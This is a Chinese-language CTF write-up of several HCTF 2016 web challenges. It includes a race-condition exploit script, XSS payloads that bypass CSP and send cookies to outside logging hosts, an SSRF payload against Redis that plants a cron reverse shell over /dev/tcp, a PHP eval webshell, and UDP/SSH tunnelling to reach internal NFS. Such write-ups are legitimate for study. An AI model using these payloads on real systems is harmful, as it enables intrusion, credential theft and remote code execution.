2016 HCTF web writeup

HCTF 2016 web-writeup

2099年的flag

only ios99 can get flag(Maybe you can easily get the flag in 2099

改下ua:

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 99_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 

RESTFUL

修改方式为put,然后/money/100000

giligili

		<script type="text/javascript">
			// Come on and get flag:>

			var _ = { 0x4c19cff: "random", 0x4728122: "charCodeAt", 0x2138878: "substring", 0x3ca9c7b: "toString", 0x574030a: "eval", 0x270aba9: "indexOf", 0x221201f: function(_9) { var _8 = []; for (var _a = 0, _b = _9.length; _a < _b; _a++) { _8.push(Number(_9.charCodeAt(_a)).toString(16)); } return "0x" + _8.join(""); }, 0x240cb06: function(_2, _3) { var _4 = Math.max(_2.length, _3.length); var _7 = _2 + _3; var _6 = ""; for(var _5=0; _5<_4; _5++) { _6 += _7.charAt((_2.charCodeAt(_5%_2.length) ^ _3.charCodeAt(_5%_3.length)) % _4); } return _6; }, 0x5c623d0: function(_c, _d) { var _e = ""; for(var _f=0; _f<_d; _f++) { _e += _c; } return _e; } };
			var $ = [ 0x4c19cff, 0x3cfbd6c, 0xb3f970, 0x4b9257a, 0x1409cc7, 0x46e990e, 0x2138878, 0x1e1049, 0x164a1f9, 0x494c61f, 0x490f545, 0x51ecfcb, 0x4c7911a, 0x29f7b65, 0x4dde0e4, 0x49f889f, 0x5ebd02c, 0x556f342, 0x3f7f3f6, 0x11544aa, 0x53ed47d, 0x697a, 0x623f21c1, 0x5c623d0, 0x32e8f8b, 0x3ca9c7b, 0x367a49b, 0x360179b, 0x5c862d6, 0x30dc1af, 0x7797d1, 0x221201f, 0x5eb4345, 0x5e9baad, 0x39b3b47, 0x32f0b8f, 0x48554de, 0x3e8b5e8, 0x5e4f31f, 0x48a53a6, 0x270aba9, 0x240cb06, 0x574030a, 0x1618f3a, 0x271259f, 0x3a306e5, 0x1d33b46, 0x17c29b5, 0x1cf02f4, 0xeb896b ];
			var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z;
			function check() {
				var answer = document.getElementById("message").value;
				var correct = (function() {
					try {
						h = new MersenneTwister(parseInt(btoa(answer[_[$[6]]](0, 4)), 32));
						e = h[_[$[""+ +[]]]]()*(""+{})[_[0x4728122]](0xc); for(var _1=0; _1<h.mti; _1++) { e ^= h.mt[_1]; }
						l = new MersenneTwister(e), v = true;
						l.random(); l.random(); l.random();
						o = answer.split("_");
						i = l.mt[~~(h.random()*$[0x1f])%0xff];
						s = ["0x" + i[_[$[$.length/2]]](0x10), "0x" + e[_[$[$.length/2]]](0o20).split("-")[1]];
						e =- (this[_[$[42]]](_[$[31]](o[1])) ^ s[0]); if (-e != $[21]) return false;
						e ^= (this[_[$[42]]](_[$[31]](o[2])) ^ s[1]); if (-e != $[22]) return false; e -= 0x352c4a9b;
						t = new MersenneTwister(Math.sqrt(-e));
						h.random();
						a = l.random();
						t.random();
						y = [ 0xb3f970, 0x4b9257a, 0x46e990e ].map(function(i) { return $[_[$[40]]](i)+ +1+ -1- +1; });
						o[0] = o[0].substring(5); o[3] = o[3].substring(0, o[3].length - 1);
						u = ~~~~~~~~~~~~~~~~(a * i); if (o[0].length > 5) return false;
						a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
						r = (h.random() * l.random() * t.random()) / (h.random() * l.random() * t.random());
						e ^= ~r;
						r = (h.random() / l.random() / t.random()) / (h.random() * l.random() * t.random());
						e ^= ~~r;
						a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1]; if (parseInt(a.split("84")[1], $.length/2) != 0x4439feb) return false;
						d = parseInt(a, 16) == (Math.pow(2, 16)+ -5+ "") + o[3].charCodeAt(o[3].length - 3).toString(16) + "53846" + (new Date().getFullYear() - 1 + "");
						i = 0xffff;
						n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
						g = 3;
						t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3;
						h = ((31249*g) & i).toString(16);
						i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];
						s = i == h;
						return (p & t & s & d) === 1 || (p & t & s & d) === true;
					} catch (e) {
						console.log("gg");
						return false;
					}
				})();

				document.getElementById("message").placeholder = correct ? "correct" : "wrong";
				if (correct) {
					alert("Congratulations! you got it!");
				} else {
					alert("Sorry, you are wrong...");
				}
			};
		</script>

以前的一个ctf的题目:

https://github.com/sternze/CTF_writeups/blob/master/sCTF/2016_Q1/obfuscat/readme.md

=.=,过程还是很复杂的。不过总体来说就是为了满足一些条件从而反推出答案。

hctf{wh3r3_iz_y0ur_neee3eeed??}

兵者多诡

zip协议包含文件。

必须比香港记者还要快

有一个http://changelog.hctf.io/README.md文件

- 2016.11.11
完成登陆功能,登陆之后在session将用户名和用户等级放到会话信息里面。
判断sessioin['level']是否能在index.php查看管理员才能看到的**东西**。
XD

- 2016.11.10
老板说注册成功的用户不能是管理员,我再写多一句把权限降为普通用户好啰。

也就是注册的时候是管理员,然后再update降为管理员,最后再在index.php里面是进行SESSION判断。

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import uuid
import re
import threading

url = "http://changelog.hctf.io/register.php"
url1 = "http://changelog.hctf.io/login.php"
url2 = "http://changelog.hctf.io/index.php"

username = ""
session = ""

def sess():
	r = requests.get(url1)
	m = re.search('PHPSESSID=(.*?);',r.headers['Set-Cookie'])
	if m:
		return str(m.group(1))

def regist():
	global username,session
	while True:
		data = {
			'username' : username,
			'password' : '1',
			'gogogo' : '苟!',
		}
		cookie = {
			'PHPSESSID' : session
		}
		r = requests.post(url, data=data, cookies=cookie, timeout=3)
		if '搞事' in r.content:
			print "Error."
		print r.content

def login():
	global username,session
	while True:
		data1 = {
			'username' : username,
			'password' : '1',
			'gogogo' : '苟!',
		}
		cookie1 = {
			'PHPSESSID' : session
		}

		r1 = requests.post(url1, data=data1, cookies=cookie1, timeout=5)
		content = r1.content
		print "login: " + username + '-' + session
		if 'gogogo' not in content:
			print content

		if 'hctf' in content:
			print content * 10

		if 'zero' in content:
			print 'aaaa'
			username = str(uuid.uuid4())
			session = sess()

username = str(uuid.uuid4())
session = sess()

def main():
	threadpool=[]

	for n in xrange(10):
		th = threading.Thread(target=login)
		th.setDaemon(True)
		threadpool.append(th)
	for n in xrange(2):
		th = threading.Thread(target=regist)
		th.setDaemon(True)
		threadpool.append(th)
	for th in threadpool:
		th.start()
	for th in threadpool :
		threading.Thread.join(th)

if __name__ == '__main__':
	main()

竞争一下,在注册insert后,update降权前登陆进去就可以获得flag。

guestbook

有一个类似验证码的东西:
substr(md5($code),0,4) =='xxxx'

<?php
$a = $argv[1];
for($i=1;$i<1000000;$i++){
	if(substr(md5($i),0,4) == $a){
		echo $i;
		exit();
	}
}
echo "ok";

程序跑一跑就好了。

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

通过预加载来绕过csp。

<scrscriptipt>var n0t = document.createElement("lilinknk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxx.ceye.io/"+escape(document.cookie));document.head.appendChild(n0t);</SCRscriptIPT>
[27/Nov/2016:14:02:29 +0800] "GET /aaat HTTP/1.1" 404 433 "http://guestbook.hctf.io/admin_lorexxar.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2914.3 Safari/537.36"

secret area

也是一个csp。

Content-Security-Policy:default-src 'self'; script-src http://sguestbook.hctf.io/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; font-src http://sguestbook.hctf.io/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

值的注意的点是:http://sguestbook.hctf.io/static/

必须要在这个目录下面加载。

解法一:

这个目录有一个redirect.php,利用跳转去加载。

<scscriptript src=http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/a32642750cae25f4c5b020d9a66c5c5c></scscriptript>

解法二:

<scscriptript src="http://sguestbook.hctf.io/static/..%2fupload/a32642750cae25f4c5b020d9a66c5c5c"></scscriptript>

其中upload的这个文件,是可以通过头像上传的。内容是:

var n0t = document.createElement("link");n0t.setAttribute("rel", "preload");n0t.setAttribute("href", "//ipipipip/"+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})()));document.head.appendChild(n0t);

AT field1

只要跳到127.0.0.1就可以了。改下解析ip,或者直接一个302跳转都行。

AT field2

内网里面存在一个redis。利用前面的urllib的host可以导致ssrf,进而攻击redis可以反弹一个shell。

https://security.tencent.com/index.php/blog/msg/106

http://192.168.0.10%25250d%25250a%252a3%25250d%25250a%2525243%25250d%25250aset%25250d%25250a%2525241%25250d%25250a1%25250d%25250a%25252462%25250d%25250a%25250a%252a%25252F1%252520%252a%252520%252a%252520%252a%252520%252a%252520%25252Fbin%25252Fbash%252520-i%252520%25253E%252526%252520%25252Fdev%25252Ftcp%25252Fipipip%25252F2333%2525200%25253E%2525261%25250a%25250d%25250aconfig%252520set%252520dir%252520%25252Fvar%25252Fspool%25252Fcron%25252F%25250d%25250aconfig%252520set%252520dbfilename%252520root%25250d%25250asave%25250d%25250a%253A6379%252f

你没走过的套路

http://120.27.122.0/index.php~
<?php
echo "welcome to aklis's bowl";
@eval($_GET['aklis']);

发现192.168.0.1开放了111、2049端口

因为nfs在挂载的时候会有一些udp包,代理等一些手段是不行的。

自己的服务器:

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)
dst_addr = ('0.0.0.0', 11111)
sock_src.bind(recv_addr)
sock_dst.bind(dst_addr)

while True:
    print('waitting for OK from client')
    _, addr_dst = sock_dst.recvfrom(65565)
    if _ == 'OK':
        print('OK recieved from {0}'.format(addr_dst))
    data, addr_src = sock_src.recvfrom(65565)
    print('send: {0!r} to {1}'.format(data, addr_dst))
    sock_dst.sendto(data, addr_dst)

    data, _  = sock_dst.recvfrom(65565)
    print('received: {0!r} from {1}'.format(data, _))
    port = struct.unpack('!i', data[-4:])[0]
    sock_src.sendto(data, addr_src)

    print('PORT: {0}'.format(port))

sock_src.close()
sock_dst.close()

要拿的目标服务器

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('vps-ip', 11111)
dst_addr = ('192.168.0.1', 111)

while True:
    try:
        print('send OK to {0}'.format(recv_addr))
        sock_src.sendto('OK', recv_addr)
        data, addr_src  = sock_src.recvfrom(65565)
        print('send: {0!r} to {1}'.format(data, dst_addr))
        sock_dst.sendto(data, dst_addr)
        data, _ = sock_dst.recvfrom(65565)
        print('received: {0!r} from {1}'.format(data, dst_addr))
        sock_src.sendto(data, addr_src)
    except KeyboardInterrupt:
        sock_src.sendto('CLOSE', addr_src)
        break

sock_src.close()
sock_dst.close()

再把根据文章把3个端口转出来,111、892、2049
ps:此题我转发了54280、40878、111、892、2049

ssh vps_ip -lroot -R111:120.27.122.0:111 -CNfg

=。=,值的注意的是,因为公网ip(120.27.122.0)是屏蔽了端口的,所以还是需要用python在shell上面去转发一下到vps,也就是192.168.0.1的2049转到vps-ip的2049,上面只是将120.27.122.0的111转发到本地的111

showmount -e 127.0.0.1
mount -t nfs -o nolock 127.0.0.1:/var/nfs /tmp/a

=。=,火日聚聚。

    location ~ \.php$ {
        #proxy_pass   http://127.0.0.1;
        fastcgi_index index.php;
        include fastcgi_params;
    }

    location /static {
        alias /var/www/static/;
        autoindex on;
    }

然后nginx是/static是/var/www/static/的别名,如果你访问了/static../
结果就是访问了/var/www/static/../,也就是static的上一级目录。

posted @ 2016-11-28 22:03  l3m0n  阅读(5382)  评论(0编辑  收藏  举报